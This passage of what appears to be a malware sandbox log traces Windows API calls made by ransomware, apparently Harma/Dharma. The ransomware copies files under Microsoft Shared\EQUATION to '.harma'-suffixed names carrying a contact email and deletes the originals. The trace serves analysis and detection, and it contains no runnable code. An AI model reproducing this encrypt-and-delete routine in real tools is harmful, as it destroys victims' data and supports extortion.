lpNumberOfBytesWritten=0x33afc9c*=0xe8, lpOverlapped=0x0) returned 1 [0065.237] SetEndOfFile (hFile=0x15c) returned 1 [0065.237] CloseHandle (hObject=0x15c) returned 1 [0065.237] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec8 | out: lpNewFilePointer=0x0) returned 1 [0065.237] SetEndOfFile (hFile=0x208) returned 1 [0065.238] CloseHandle (hObject=0x208) returned 1 [0065.239] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0065.239] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\1033\\eeintl.dll")) returned 1 [0065.239] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL") returned 71 [0065.239] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL") returned 71 [0065.239] lstrlenW (lpString=".doc") returned 4 [0065.239] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0065.239] lstrlenW (lpString=".docx") returned 5 [0065.239] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0065.239] lstrlenW (lpString=".pdf") returned 4 [0065.239] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0065.239] lstrlenW (lpString=".xls") returned 4 [0065.239] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0065.239] lstrlenW (lpString=".xlsx") returned 5 [0065.239] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0065.239] lstrlenW (lpString=".ppt") returned 4 [0065.239] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0065.239] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL") returned 71 [0065.239] lstrlenW (lpString=".zip") returned 4 [0065.239] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0065.240] lstrlenW (lpString=".rar") returned 4 [0065.240] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0065.240] lstrlenW (lpString=".bz2") returned 4 [0065.240] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0065.240] lstrlenW (lpString=".7z") returned 3 [0065.240] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0065.240] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL") returned 71 [0065.240] lstrlenW (lpString=".dbf") returned 4 [0065.240] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0065.240] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL") returned 71 [0065.240] lstrlenW (lpString=".1cd") returned 4 [0065.240] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0065.240] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL") returned 71 [0065.240] lstrlenW (lpString=".jpg") returned 4 [0065.240] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0065.240] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL") returned 71 [0065.240] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL") returned 71 [0065.240] lstrlenW (lpString=".doc") returned 4 [0065.240] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0065.240] lstrlenW (lpString=".docx") returned 5 [0065.240] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0065.240] lstrlenW (lpString=".pdf") returned 4 [0065.240] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0065.240] lstrlenW (lpString=".xls") returned 4 [0065.240] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0065.240] lstrlenW (lpString=".xlsx") returned 5 [0065.240] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0065.240] lstrlenW (lpString=".ppt") returned 4 [0065.240] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0065.240] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL") returned 71 [0065.241] lstrlenW (lpString=".zip") returned 4 [0065.241] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0065.241] lstrlenW (lpString=".rar") returned 4 [0065.241] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0065.241] lstrlenW (lpString=".bz2") returned 4 [0065.241] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0065.241] lstrlenW (lpString=".7z") returned 3 [0065.241] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0065.241] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL") returned 71 [0065.241] lstrlenW (lpString=".dbf") returned 4 [0065.241] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0065.241] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL") returned 71 [0065.241] lstrlenW (lpString=".1cd") returned 4 [0065.241] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0065.241] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL") returned 71 [0065.241] lstrlenW (lpString=".jpg") returned 4 [0065.241] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0065.241] lstrcmpiW (lpString1=".CNT", lpString2=".harma") returned -1 [0065.241] lstrlenW (lpString="EQNEDT32.CNT") returned 12 [0065.241] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.cnt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0065.242] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x33aff1c | out: lpFileSize=0x33aff1c*=2557) returned 1 [0065.242] CloseHandle (hObject=0x208) returned 1 [0065.242] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.cnt")) returned 0x20 [0065.242] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.cnt.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0065.243] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.cnt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0065.243] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec8 | out: lpNewFilePointer=0x0) returned 1 [0065.243] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec8 | out: lpNewFilePointer=0x0) returned 1 [0065.243] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.cnt.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0065.243] GetLastError () returned 0x0 [0065.243] ReadFile (in: hFile=0x208, lpBuffer=0x3cb0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afed4, lpOverlapped=0x0 | out: lpBuffer=0x3cb0020*, lpNumberOfBytesRead=0x33afed4*=0x9fd, lpOverlapped=0x0) returned 1 [0065.245] WriteFile (in: hFile=0x15c, lpBuffer=0x3cb0020*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x33afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3cb0020*, lpNumberOfBytesWritten=0x33afc9c*=0xa00, lpOverlapped=0x0) returned 1 [0065.246] ReadFile (in: hFile=0x208, lpBuffer=0x3cb0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afed4, lpOverlapped=0x0 | out: lpBuffer=0x3cb0020*, lpNumberOfBytesRead=0x33afed4*=0x0, lpOverlapped=0x0) returned 1 [0065.246] WriteFile (in: hFile=0x15c, lpBuffer=0x3cb0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3cb0020*, lpNumberOfBytesWritten=0x33afc9c*=0xec, lpOverlapped=0x0) returned 1 [0065.246] SetEndOfFile (hFile=0x15c) returned 1 [0065.246] CloseHandle (hObject=0x15c) returned 1 [0065.247] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec8 | out: lpNewFilePointer=0x0) returned 1 [0065.247] SetEndOfFile (hFile=0x208) returned 1 [0065.248] CloseHandle (hObject=0x208) returned 1 [0065.248] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0065.248] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.cnt")) returned 1 [0065.248] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT") returned 68 [0065.248] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT") returned 68 [0065.248] lstrlenW (lpString=".doc") returned 4 [0065.248] lstrcmpiW (lpString1=".doc", lpString2=".CNT") returned 1 [0065.248] lstrlenW (lpString=".docx") returned 5 [0065.248] lstrcmpiW (lpString1=".docx", lpString2="2.CNT") returned -1 [0065.248] lstrlenW (lpString=".pdf") returned 4 [0065.248] lstrcmpiW (lpString1=".pdf", lpString2=".CNT") returned 1 [0065.248] lstrlenW (lpString=".xls") returned 4 [0065.248] lstrcmpiW (lpString1=".xls", lpString2=".CNT") returned 1 [0065.248] lstrlenW (lpString=".xlsx") returned 5 [0065.248] lstrcmpiW (lpString1=".xlsx", lpString2="2.CNT") returned -1 [0065.248] lstrlenW (lpString=".ppt") returned 4 [0065.248] lstrcmpiW (lpString1=".ppt", lpString2=".CNT") returned 1 [0065.248] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT") returned 68 [0065.249] lstrlenW (lpString=".zip") returned 4 [0065.249] lstrcmpiW (lpString1=".zip", lpString2=".CNT") returned 1 [0065.249] lstrlenW (lpString=".rar") returned 4 [0065.249] lstrcmpiW (lpString1=".rar", lpString2=".CNT") returned 1 [0065.249] lstrlenW (lpString=".bz2") returned 4 [0065.249] lstrcmpiW (lpString1=".bz2", lpString2=".CNT") returned -1 [0065.249] lstrlenW (lpString=".7z") returned 3 [0065.249] lstrcmpiW (lpString1=".7z", lpString2="CNT") returned -1 [0065.249] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT") returned 68 [0065.249] lstrlenW (lpString=".dbf") returned 4 [0065.249] lstrcmpiW (lpString1=".dbf", lpString2=".CNT") returned 1 [0065.249] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT") returned 68 [0065.249] lstrlenW (lpString=".1cd") returned 4 [0065.249] lstrcmpiW (lpString1=".1cd", lpString2=".CNT") returned -1 [0065.249] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT") returned 68 [0065.249] lstrlenW (lpString=".jpg") returned 4 [0065.249] lstrcmpiW (lpString1=".jpg", lpString2=".CNT") returned 1 [0065.249] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT") returned 68 [0065.249] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT") returned 68 [0065.249] lstrlenW (lpString=".doc") returned 4 [0065.249] lstrcmpiW (lpString1=".doc", lpString2=".CNT") returned 1 [0065.249] lstrlenW (lpString=".docx") returned 5 [0065.249] lstrcmpiW (lpString1=".docx", lpString2="2.CNT") returned -1 [0065.249] lstrlenW (lpString=".pdf") returned 4 [0065.249] lstrcmpiW (lpString1=".pdf", lpString2=".CNT") returned 1 [0065.249] lstrlenW (lpString=".xls") returned 4 [0065.249] lstrcmpiW (lpString1=".xls", lpString2=".CNT") returned 1 [0065.249] lstrlenW (lpString=".xlsx") returned 5 [0065.249] lstrcmpiW (lpString1=".xlsx", lpString2="2.CNT") returned -1 [0065.250] lstrlenW (lpString=".ppt") returned 4 [0065.250] lstrcmpiW (lpString1=".ppt", lpString2=".CNT") returned 1 [0065.250] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT") returned 68 [0065.250] lstrlenW (lpString=".zip") returned 4 [0065.250] lstrcmpiW (lpString1=".zip", lpString2=".CNT") returned 1 [0065.250] lstrlenW (lpString=".rar") returned 4 [0065.250] lstrcmpiW (lpString1=".rar", lpString2=".CNT") returned 1 [0065.250] lstrlenW (lpString=".bz2") returned 4 [0065.250] lstrcmpiW (lpString1=".bz2", lpString2=".CNT") returned -1 [0065.250] lstrlenW (lpString=".7z") returned 3 [0065.250] lstrcmpiW (lpString1=".7z", lpString2="CNT") returned -1 [0065.250] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT") returned 68 [0065.250] lstrlenW (lpString=".dbf") returned 4 [0065.250] lstrcmpiW (lpString1=".dbf", lpString2=".CNT") returned 1 [0065.250] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT") returned 68 [0065.267] lstrlenW (lpString=".1cd") returned 4 [0065.267] lstrcmpiW (lpString1=".1cd", lpString2=".CNT") returned -1 [0065.267] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT") returned 68 [0065.267] lstrlenW (lpString=".jpg") returned 4 [0065.267] lstrcmpiW (lpString1=".jpg", lpString2=".CNT") returned 1 [0065.267] lstrcmpiW (lpString1=".EXE", lpString2=".harma") returned -1 [0065.267] lstrlenW (lpString="EQNEDT32.EXE") returned 12 [0065.267] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0065.268] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x33aff1c | out: lpFileSize=0x33aff1c*=543304) returned 1 [0065.268] CloseHandle (hObject=0x208) returned 1 [0065.268] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe")) returned 0x20 [0065.268] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0065.268] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0065.269] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec8 | out: lpNewFilePointer=0x0) returned 1 [0065.269] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec8 | out: lpNewFilePointer=0x0) returned 1 [0065.269] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0065.269] GetLastError () returned 0x0 [0065.269] ReadFile (in: hFile=0x208, lpBuffer=0x3cb0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afed4, lpOverlapped=0x0 | out: lpBuffer=0x3cb0020*, lpNumberOfBytesRead=0x33afed4*=0x84a48, lpOverlapped=0x0) returned 1 [0065.322] WriteFile (in: hFile=0x15c, lpBuffer=0x3cb0020*, nNumberOfBytesToWrite=0x84a50, lpNumberOfBytesWritten=0x33afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3cb0020*, lpNumberOfBytesWritten=0x33afc9c*=0x84a50, lpOverlapped=0x0) returned 1 [0065.334] ReadFile (in: hFile=0x208, lpBuffer=0x3cb0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afed4, lpOverlapped=0x0 | out: lpBuffer=0x3cb0020*, lpNumberOfBytesRead=0x33afed4*=0x0, lpOverlapped=0x0) returned 1 [0065.334] WriteFile (in: hFile=0x15c, lpBuffer=0x3cb0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3cb0020*, lpNumberOfBytesWritten=0x33afc9c*=0xec, lpOverlapped=0x0) returned 1 [0065.335] SetEndOfFile (hFile=0x15c) returned 1 [0065.335] CloseHandle (hObject=0x15c) returned 1 [0065.335] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec8 | out: lpNewFilePointer=0x0) returned 1 [0065.335] SetEndOfFile (hFile=0x208) returned 1 [0065.340] CloseHandle (hObject=0x208) returned 1 [0065.340] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0065.340] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe")) returned 1 [0065.341] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE") returned 68 [0065.341] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE") returned 68 [0065.341] lstrlenW (lpString=".doc") returned 4 [0065.341] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0065.341] lstrlenW (lpString=".docx") returned 5 [0065.341] lstrcmpiW (lpString1=".docx", lpString2="2.EXE") returned -1 [0065.341] lstrlenW (lpString=".pdf") returned 4 [0065.341] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0065.341] lstrlenW (lpString=".xls") returned 4 [0065.341] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0065.341] lstrlenW (lpString=".xlsx") returned 5 [0065.341] lstrcmpiW (lpString1=".xlsx", lpString2="2.EXE") returned -1 [0065.341] lstrlenW (lpString=".ppt") returned 4 [0065.341] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0065.341] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE") returned 68 [0065.341] lstrlenW (lpString=".zip") returned 4 [0065.341] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0065.341] lstrlenW (lpString=".rar") returned 4 [0065.341] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0065.341] lstrlenW (lpString=".bz2") returned 4 [0065.341] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0065.341] lstrlenW (lpString=".7z") returned 3 [0065.341] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0065.341] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE") returned 68 [0065.341] lstrlenW (lpString=".dbf") returned 4 [0065.341] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0065.341] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE") returned 68 [0065.341] lstrlenW (lpString=".1cd") returned 4 [0065.341] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0065.341] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE") returned 68 [0065.341] lstrlenW (lpString=".jpg") returned 4 [0065.341] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0065.342] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE") returned 68 [0065.342] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE") returned 68 [0065.342] lstrlenW (lpString=".doc") returned 4 [0065.342] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0065.342] lstrlenW (lpString=".docx") returned 5 [0065.342] lstrcmpiW (lpString1=".docx", lpString2="2.EXE") returned -1 [0065.342] lstrlenW (lpString=".pdf") returned 4 [0065.342] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0065.342] lstrlenW (lpString=".xls") returned 4 [0065.342] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0065.342] lstrlenW (lpString=".xlsx") returned 5 [0065.342] lstrcmpiW (lpString1=".xlsx", lpString2="2.EXE") returned -1 [0065.342] lstrlenW (lpString=".ppt") returned 4 [0065.342] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0065.342] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE") returned 68 [0065.342] lstrlenW (lpString=".zip") returned 4 [0065.342] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0065.342] lstrlenW (lpString=".rar") returned 4 [0065.342] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0065.342] lstrlenW (lpString=".bz2") returned 4 [0065.342] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0065.342] lstrlenW (lpString=".7z") returned 3 [0065.342] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0065.342] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE") returned 68 [0065.342] lstrlenW (lpString=".dbf") returned 4 [0065.342] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0065.342] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE") returned 68 [0065.342] lstrlenW (lpString=".1cd") returned 4 [0065.342] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0065.342] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE") returned 68 [0065.342] lstrlenW (lpString=".jpg") returned 4 [0065.342] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0065.343] lstrcmpiW (lpString1=".manifest", lpString2=".harma") returned 1 [0065.343] lstrlenW (lpString="eqnedt32.exe.manifest") returned 21 [0065.343] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe.manifest"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0065.343] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x33aff1c | out: lpFileSize=0x33aff1c*=566) returned 1 [0065.343] CloseHandle (hObject=0x208) returned 1 [0065.343] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe.manifest")) returned 0x20 [0065.344] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe.manifest.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0065.344] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0065.418] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec8 | out: lpNewFilePointer=0x0) returned 1 [0065.428] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec8 | out: lpNewFilePointer=0x0) returned 1 [0065.428] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe.manifest.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0065.428] GetLastError () returned 0x0 [0065.428] ReadFile (in: hFile=0x208, lpBuffer=0x3cb0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afed4, lpOverlapped=0x0 | out: lpBuffer=0x3cb0020*, lpNumberOfBytesRead=0x33afed4*=0x236, lpOverlapped=0x0) returned 1 [0065.429] WriteFile (in: hFile=0x1e8, lpBuffer=0x3cb0020*, nNumberOfBytesToWrite=0x240, lpNumberOfBytesWritten=0x33afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3cb0020*, lpNumberOfBytesWritten=0x33afc9c*=0x240, lpOverlapped=0x0) returned 1 [0065.431] ReadFile (in: hFile=0x208, lpBuffer=0x3cb0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afed4, lpOverlapped=0x0 | out: lpBuffer=0x3cb0020*, lpNumberOfBytesRead=0x33afed4*=0x0, lpOverlapped=0x0) returned 1 [0065.431] WriteFile (in: hFile=0x1e8, lpBuffer=0x3cb0020*, nNumberOfBytesToWrite=0xfe, lpNumberOfBytesWritten=0x33afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3cb0020*, lpNumberOfBytesWritten=0x33afc9c*=0xfe, lpOverlapped=0x0) returned 1 [0065.431] SetEndOfFile (hFile=0x1e8) returned 1 [0065.431] CloseHandle (hObject=0x1e8) returned 1 [0065.431] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec8 | out: lpNewFilePointer=0x0) returned 1 [0065.431] SetEndOfFile (hFile=0x208) returned 1 [0065.432] CloseHandle (hObject=0x208) returned 1 [0065.432] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0065.432] DeleteFileW (lpFileName="C:\\Program 